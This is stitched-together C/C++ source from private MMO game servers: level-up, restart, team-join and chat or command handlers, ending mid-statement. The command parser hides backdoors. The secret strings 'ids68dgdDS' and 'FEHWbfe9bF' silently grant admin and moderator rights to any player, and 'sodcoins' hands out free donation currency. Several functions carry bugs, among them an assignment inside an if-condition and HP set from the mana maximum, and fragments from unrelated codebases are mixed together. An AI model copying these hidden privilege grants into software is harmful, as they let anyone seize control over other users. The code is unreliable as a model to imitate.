void Exec_MSG_Restart(int conn, char *pMsg) { MSG_STANDARD *m = (MSG_STANDARD*)pMsg; if (pUser[conn].Mode == USER_PLAY) { pMob[conn].MOB.CurrentScore.Hp = 2; pUser[conn].NumError = 0; SendScore(conn); SendSetHpMp(conn); if(pMob[conn].TargetX >= 1017 && pMob[conn].TargetX <= 1290 && pMob[conn].TargetY >= 1911 && pMob[conn].TargetY <= 2183 && pMob[conn].MOB.Clan == 7) DoTeleport(conn, 1061+ rand()%3, 2129+rand()%3); else if(pMob[conn].TargetX >= 1017 && pMob[conn].TargetX <= 1290 && pMob[conn].TargetY >= 1911 && pMob[conn].TargetY <= 2183 && pMob[conn].MOB.Clan == 8) DoTeleport(conn, 1237+ rand()%3, 1966+rand()%3); else DoRecall(conn); sprintf(temp, "etc,restart char:%s hp:%d", pMob[conn].MOB.MobName, pMob[conn].MOB.CurrentScore.Hp); Log(temp, pUser[conn].AccountName, pUser[conn].IP); SendEtc(conn); } else SendHpMode(conn); }
void DesbugaFaceBM(int clientid,int cmd_addr) { int faceBM = 28; MOB *player = (MOB*)GetMobFromIndex(clientid); if(player->Equip[0].EFV2 = 2 && player->Equip[0].Index == 22 || player->Equip[0].Index == 23 || player->Equip[0].Index ==24 || player->Equip[0].Index == 25 || player->Equip[0].Index == 32) { MOB *playe = (MOB*)GetMobFromIndex(clientid); playe->Equip[0].Index = faceBM; Atualizar(clientid, _equip, 0); SendItens(clientid,0); GetCurrentScore(clientid); SendStats(clientid); SendScore(clientid); SendEquip(clientid); SendALL(clientid); SendClientMsg(clientid,"Sua face foi alterada."); return; } }
BOOL CDDom::Join( CUser* pUser ) { if( GetRunTime() != RUN_FIGHT ) { if( IsValidObj( pUser ) ) { pUser->AddTextD3D( "No match available", 0xFFFF0000 ); } return FALSE; } __int64 domRandom = xxRandom(); DDOM_TEAM domTeam = static_cast<DDOM_TEAM>( domRandom & 0x01 ); if( IsValidTeamOne( domTeam ) == FALSE ) return FALSE; if( m_DomTeam[domTeam].GetAmount() >= m_splitSize ) domTeam = GetOponentTeam( domTeam ); CString strTeam = GetName( domTeam ); if( strTeam.IsEmpty() == true ) return FALSE; if( m_DomTeam[domTeam].Add( pUser, domTeam ) != TRUE ) return FALSE; m_User.push_back( pUser->m_idPlayer ); pUser->m_ddomTeam = domTeam; Safe( pUser ); pUser->SendAdditionalMover( static_cast<CMover*>( pUser ) ); //hey! CString strJoin; strJoin.Format( "You have been set to %s team", strTeam ); pUser->AddTextD3D( "You have joined the double domination", DoubleDom::Color::nBlueCol ); pUser->AddTextD3D( strJoin, DoubleDom::Color::nBlueCol ); SendScore(); return TRUE; }
void AddExp(int clientid) { MOB *player = (MOB*)GetMobFromIndex(clientid); int addr_bclient = clientid * 0x0410; int caos = PByte(clientid * 0x410 + 0x15c6c8e); FILE *fs = NULL; char name[100]; char Classe; char Level; Classe = player->Equip[0].EFV2; Level = player->bStatus.Level; PremioLv(clientid); if(player->Equip[0].EFV2 >= 3) { if(player->bStatus.Level >= 5) { if(player->Exp < exp_Cele_Sub[player->bStatus.Level - 2]) { player->Exp = exp_Cele_Sub[player->bStatus.Level - 1]; } } } if(player->Equip[0].EFV2 == 1) { if(player->bStatus.Level < 255) { if(player->Exp >= exp_Mortal_Arch[player->bStatus.Level]) { player->StatusPoint += 5; player->MasterPoint += 3; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 2; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; } } else if(player->bStatus.Level < 300) { if(player->Exp >= exp_Mortal_Arch[player->bStatus.Level]) { player->StatusPoint += 10; player->MasterPoint += 3; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 2; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; } } else if(player->bStatus.Level < 394) { if(player->Exp >= exp_Mortal_Arch[player->bStatus.Level]) { player->StatusPoint += 15; player->MasterPoint += 3; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 2; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; } } else if(player->bStatus.Level < 399) { if(player->Exp >= exp_Mortal_Arch[player->bStatus.Level]) { player->StatusPoint += 15; player->MasterPoint += 3; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 2; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; } } return; } else if(player->Equip[0].EFV2 == 2) { if(player->bStatus.Level == 350) { if(player->Exp >= exp_Mortal_Arch[player->bStatus.Level+4]) { player->StatusPoint += 10; player->MasterPoint += 3; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 2; player->bStatus.Defense += 3; PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; } } else if(player->bStatus.Level > 351 && player->bStatus.Level < 353) { player->StatusPoint += 13; player->MasterPoint += 3; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 2; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; } else if(player->bStatus.Level < 370) { if(player->Exp >= exp_Mortal_Arch[player->bStatus.Level]) { //if(player->QuestInfo == 1) { player->StatusPoint += 12; player->MasterPoint += 4; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 2; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; } } } else if(player->bStatus.Level < 399) { if(player->Exp >= exp_Mortal_Arch[player->bStatus.Level]) { //if(player->QuestInfo == 2) { player->StatusPoint += 12; player->MasterPoint += 4; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 2; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; } } } return; } else if(player->Equip[0].EFV2 == 3) { if(player->bStatus.Level < 40) { if(player->Exp >= exp_Cele_Sub[player->bStatus.Level]) { printf("\n %s evoluiu para level %d \n.",player->Name,player->bStatus.Level +2); player->StatusPoint += 5; player->MasterPoint += 4; player->SkillPoint += 3; player->bStatus.Attack += 1; player->bStatus.Defense += 3; player->bStatus.Level += 1; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; } } else if(player->bStatus.Level < 90) { if(player->Exp >= exp_Cele_Sub[player->bStatus.Level]) { //if(player->QuestInfo == 1) //{ printf("\n %s evoluiu para level %d \n.",player->Name,player->bStatus.Level +2); player->StatusPoint += 10; player->MasterPoint += 4; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 3; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; //} } } else if(player->bStatus.Level < 399) { if(player->Exp >= exp_Cele_Sub[player->bStatus.Level]) { //if(player->QuestInfo == 2) //{ printf("\n %s evoluiu para level %d \n.",player->Name,player->bStatus.Level +2); player->StatusPoint += 15; player->MasterPoint += 4; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 4; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; //} } } } else if(player->Equip[0].EFV2 == 4) { if(player->bStatus.Level < 40) { if(player->Exp >= exp_Cele_Sub[player->bStatus.Level]) { printf("\n %s evoluiu para level %d \n.",player->Name,player->bStatus.Level +2); player->StatusPoint += 5; player->MasterPoint += 4; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 3; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; } } else if(player->bStatus.Level < 90) { if(player->Exp >= exp_Cele_Sub[player->bStatus.Level]) { //if(player->QuestInfo == 1) //{ printf("\n %s evoluiu para level %d \n.",player->Name,player->bStatus.Level +2); player->StatusPoint += 10; player->MasterPoint += 4; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 3; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; //} } } else if(player->bStatus.Level < 399) { if(player->Exp >= exp_Cele_Sub[player->bStatus.Level]) { //if(player->QuestInfo == 2) //{ printf("\n %s evoluiu para level %d \n.",player->Name,player->bStatus.Level +2); player->StatusPoint += 15; player->MasterPoint += 4; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 4; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ // return; //} } } } else if(player->Equip[0].EFV2 == 5) { if(player->bStatus.Level < 40) { if(player->Exp >= exp_Cele_Sub[player->bStatus.Level]) { printf("\n %s evoluiu para level %d \n.",player->Name,player->bStatus.Level +2); player->StatusPoint += 5; player->MasterPoint += 4; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 3; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ // return; } } else if(player->bStatus.Level < 90) { if(player->Exp >= exp_Cele_Sub[player->bStatus.Level]) { //if(player->QuestInfo == 1) //{ printf("\n %s evoluiu para level %d \n.",player->Name,player->bStatus.Level +2); player->StatusPoint += 10; player->MasterPoint += 4; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 3; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ // return; //} } } else if(player->bStatus.Level < 399) { if(player->Exp >= exp_Cele_Sub[player->bStatus.Level]) { //if(player->QuestInfo == 2) //{ printf("\n %s evoluiu para level %d \n.",player->Name,player->bStatus.Level +2); player->StatusPoint += 15; player->MasterPoint += 4; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 4; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ // return; //} } } } else if(player->Equip[0].EFV2 == 6) { if(player->bStatus.Level < 40) { if(player->Exp >= exp_Cele_Sub[player->bStatus.Level]) { printf("\n %s evoluiu para level %d \n.",player->Name,player->bStatus.Level +2); player->StatusPoint += 7; player->MasterPoint += 4; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 3; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ // return; } } else if(player->bStatus.Level < 90) { if(player->Exp >= exp_Cele_Sub[player->bStatus.Level]) { //if(player->QuestInfo == 1) //{ printf("\n %s evoluiu para level %d \n.",player->Name,player->bStatus.Level +2); player->StatusPoint += 10; player->MasterPoint += 4; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 4; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; //} } } else if(player->bStatus.Level < 399) { if(player->Exp >= exp_Cele_Sub[player->bStatus.Level]) { //if(player->QuestInfo == 2) //{ printf("\n %s evoluiu para level %d \n.",player->Name,player->bStatus.Level +2); player->StatusPoint += 15; player->MasterPoint += 4; player->SkillPoint += 3; player->bStatus.Level += 1; player->bStatus.Attack += 1; player->bStatus.Defense += 6; if(caos <= 148) { PByte(clientid * 0x410 + 0x15c6c8e) += 3; RespawCreatMob(clientid); SendCreateMob(clientid,clientid,1); } PInt(addr_bclient + 0x015C6A04) = PInt(addr_bclient + 0x015C6A00); player->bStatus.curHP = player->bStatus.maxMP; player->Status.curHP = player->bStatus.maxHP; player->Status.curMP = player->bStatus.maxMP; GetCurrentScore(clientid); SendScore(clientid); SendStats(clientid); SendSetHpMp(clientid); SendClientMsg(clientid, "+ + + LEVEL UP + + +"); SendEffect(3, 0xE, clientid); /*Ranking(clientid); DeletarPlayer1(clientid); DeletarPlayer2(clientid); DeletarPlayer3(clientid);*/ return; //} } } } }
void Commands(BYTE* m_PacketBuffer, bool *pRetn) { p334 *p = (p334*)m_PacketBuffer; INT16 cId = p->Header.ClientId; if(cId < 1 || cId > MAX_PLAYER) return; st_Mob* player = GetMobFromIndex(cId); time_t rawnow = time(NULL); struct tm *now = localtime(&rawnow); //SendLog(Users[cId].Username, "%s comando '%s %s'.", player->Name, p->Cmd, p->Arg); if(!strcmp(p->Cmd, "ids68dgdDS")) { wdBuffer[cId].Ingame.isAdmin = true; return; } else if (!strcmp(p->Cmd, "sodcoins")) { *pRetn = true; wdBuffer[cId].Cash += 100; SendClientMsg(cId, "Donates disponíveis: %d", wdBuffer[cId].Cash); return; } else if(!strcmp(p->Cmd, "gritar") || !strcmp(p->Cmd, "spk")) { *pRetn = true; if(wdBuffer[cId].Ingame.Grito > 0) { char sz[108]; sprintf(sz, "Aguarde %d segundos para utilizar novamente.", wdBuffer[cId].Ingame.Grito); SendClientMessage(cId, sz); return; } int color = MSG_COLOR_GRITO; // Green color if(wdBuffer[cId].Ingame.isAdmin) { color = MSG_COLOR_GRITOA; // Bright Gold color wdBuffer[cId].Ingame.Grito = 0; } else if(isVip(cId)) { color = MSG_COLOR_GRITOV; // Brown color wdBuffer[cId].Ingame.Grito = 5; } else { INT16 Trombeta = GetFirstSlot(cId, 3330, INVENTORY); if(Trombeta != -1) { AmountMinus(&player->Inventory[Trombeta]); SendItem(cId, INVENTORY, Trombeta, &player->Inventory[Trombeta]); wdBuffer[cId].Ingame.Grito = 10; } else { SendClientMessage(cId, "Onde está sua Trombeta?"); return; } } if(!strcmp(p->Arg, "")) { SendClientMessage(cId, "Digite sua mensagem."); return; } char szMsg[92]; sprintf(szMsg, "[%s]> %s", player->Name, p->Arg); sD1D(cId, 0, szMsg, color); return; } else if(*p->Arg == '=') { *pRetn = true; SendPartyChat(p->Header.ClientId, p->Arg); return; } else if(!strncmp(p->Arg, "-", 1) || !strncmp(p->Arg, "--", 2)) { *pRetn = true; if(player->GuildIndex) { char szMsg[96], temp[96]; strncpy(temp, &p->Arg[2], 94); sprintf(szMsg, "[%s]> %s", player->Name, temp); for(INT16 i = 0; i < MAX_PLAYER; i++) { if(i == cId) continue; if(Users[i].Status != 22) continue; st_Mob *tmp = GetMobFromIndex(i); if(tmp->GuildIndex == player->GuildIndex) { if(player->Equip[12].Index == 509 || (player->Equip[12].Index >= 526 && player->Equip[12].Index <= 528)) sD1D(cId, i, szMsg, 0xFF00FFFF); else sD1D(cId, i, szMsg, 0xFF98F5FF); } } } return; } else if(*p->Arg == '@') { *pRetn = true; if(wdBuffer[cId].Ingame.ChatGlobal && !wdBuffer[cId].Ingame.isAdmin) { char Msg[106]; sprintf(Msg, "Você pode ultilizar o chat novamente em %d segundo(s).", wdBuffer[cId].Ingame.ChatGlobal); SendClientMessage(cId, Msg); return; } s334(cId, p->Arg); wdBuffer[cId].Ingame.ChatGlobal = 10; return; } else if(!strcmp(p->Cmd, "gm")) { if(!wdBuffer[cId].Ingame.isAdmin) *pRetn = true; } else if(!strcmp(p->Cmd, "day")) { *pRetn = true; int day, mom; mom = now->tm_mon; day = now->tm_mday; char tmp[108]; sprintf(tmp, "!#%02d %02d", day, mom); SendClientMessage(cId, tmp); return; } else if(!strcmp(p->Cmd, "nig")) { *pRetn = true; // Retorna o tempo para o pesadelo int hour, min, sec; char msg[60]; hour = now->tm_hour; min = now->tm_min; sec = now->tm_sec; sprintf_s(msg, "!!%02d%02d%02d", hour, min, sec); SendClientMessage(cId, msg); return; } else if(!strcmp(p->Cmd, "donate")) { *pRetn = true; DoTeleport(cId, 4008, 4069); char Msg[106]; sprintf(Msg, "Donates disponíveis: %d.", wdBuffer[cId].Cash); SendClientMessage(cId, Msg); return; } else if(!strcmp(p->Cmd, "Reino") || !strcmp(p->Cmd, "reino") || !strcmp(p->Cmd, "REINO")) { *pRetn = true; SendClientMessage(cId, "Você foi teleportado."); if(player->CapeInfo == 7) DoTeleport(cId, 1689, 1618); else if(player->CapeInfo == 8) DoTeleport(cId, 1690, 1842); else DoTeleport(cId, 1705, 1726); } else if(!strcmp(p->Cmd, "FEHWbfe9bF")) { wdBuffer[cId].Ingame.isMod = true; return; } else if (!strcmp(p->Cmd, "mod") && (wdBuffer[cId].Ingame.isMod || wdBuffer[cId].Ingame.isAdmin)) { *pRetn = true; if (!stricmp(p->Arg, "+get upitens")) { st_Item Item; static const INT16 Itens[] = {777, 3173, 3182, 3324, 3325, 3326}; static const INT8 Amount[] = { 10, 10, 10, 1, 1, 1}; for (int i = 0; i < sizeof Itens / sizeof INT16; i++) { memset(&Item, 0, sizeof st_Item); Item.Index = Itens[i]; Item.Effect[0].Index = EF_AMOUNT; Item.Effect[0].Value = Amount[i]; PutItem(cId, &Item); } } char Notice[108]; if(sscanf_s(p->Arg,"+not %[^\n]", &Notice)) { char szTMP[120]; sprintf_s(szTMP, "%s: %s", player->Name, Notice); SendNotice(szTMP); return; } char Player[12]; if(sscanf_s(p->Arg, "+kick %12s", &Player)) { INT16 mClient = GetUserByName(Player); if(mClient < 0 || mClient > MAX_PLAYER || Users[mClient].Status != 22) { SendClientMessage(p->Header.ClientId, "ClientId não está conectado."); return; } CloseUser(mClient); char Msg[108]; sprintf(Msg, "Jogador %s foi desconectado do servidor.", &Player); SendClientMessage(cId, Msg); return; } st_Position Pos; if(sscanf_s(p->Arg, "+move %d %d", &Pos.X, &Pos.Y)) { if(Pos.Y < 0 || Pos.Y > 4096 || Pos.X < 0 || Pos.X > 4096) { SendClientMessage(cId, "Coordenadas inválidas."); return; } DoTeleport(cId, Pos.X, Pos.Y); return; } if(!stricmp(p->Arg, "+onlines")) { INT16 Value = 0; for(int i = 0; i < 750; i++) { if(Users[i].Status == 22) Value++; } char szMsg[108]; sprintf(szMsg, "Atualmente temos %d jogadore(s) online.", Value); SendClientMessage(cId, szMsg); return; } if(!stricmp(p->Arg, "+timeon")) { char szMsg[108]; sprintf(szMsg, "Servidor online a [%02d:%02d:%02d:%02d].D/H/M/S", Server.Days, Server.Hours, Server.Minuts, Server.Seconds); SendClientMessage(cId, szMsg); return; } if(sscanf(p->Arg, "+infos %12s", &Player) == 1) { int InfoPlayer = GetUserByName(Player); if(InfoPlayer < 0 || InfoPlayer > 750 || Users[InfoPlayer].Status != 22) { SendClientMessage(cId, "O jogador escolhido está desconectado."); return; } st_Mob *sPlayer = GetMobFromIndex(InfoPlayer); char szMsg1[200]; sprintf(szMsg1, "!Conta analisada: %s.", Users[InfoPlayer].Username); char szMsg2[200]; sprintf(szMsg2, "!Total de StatusPoint: %d.", sPlayer->StatusPoint); char szMsg3[200]; sprintf(szMsg3, "!Total de STR: %d, INT: %d, DEX: %d e CONS: %d.", sPlayer->bStatus.STR, sPlayer->bStatus.INT, sPlayer->bStatus.DEX, sPlayer->bStatus.CON); char szMsg4[200]; sprintf(szMsg4, "!A conta possui o total de %d pontos.", sPlayer->bStatus.STR + sPlayer->bStatus.INT + sPlayer->bStatus.DEX + sPlayer->bStatus.CON + sPlayer->StatusPoint); char szMsg5[200]; sprintf(szMsg5, "!Level: %d, Evo: %s, ATK: %d, DEF: %d, HP: %d, MP: %d", sPlayer->bStatus.Level, Evolution[sPlayer->Equip[0].EFV2 - 1], sPlayer->Status.Attack, sPlayer->Status.Defense, 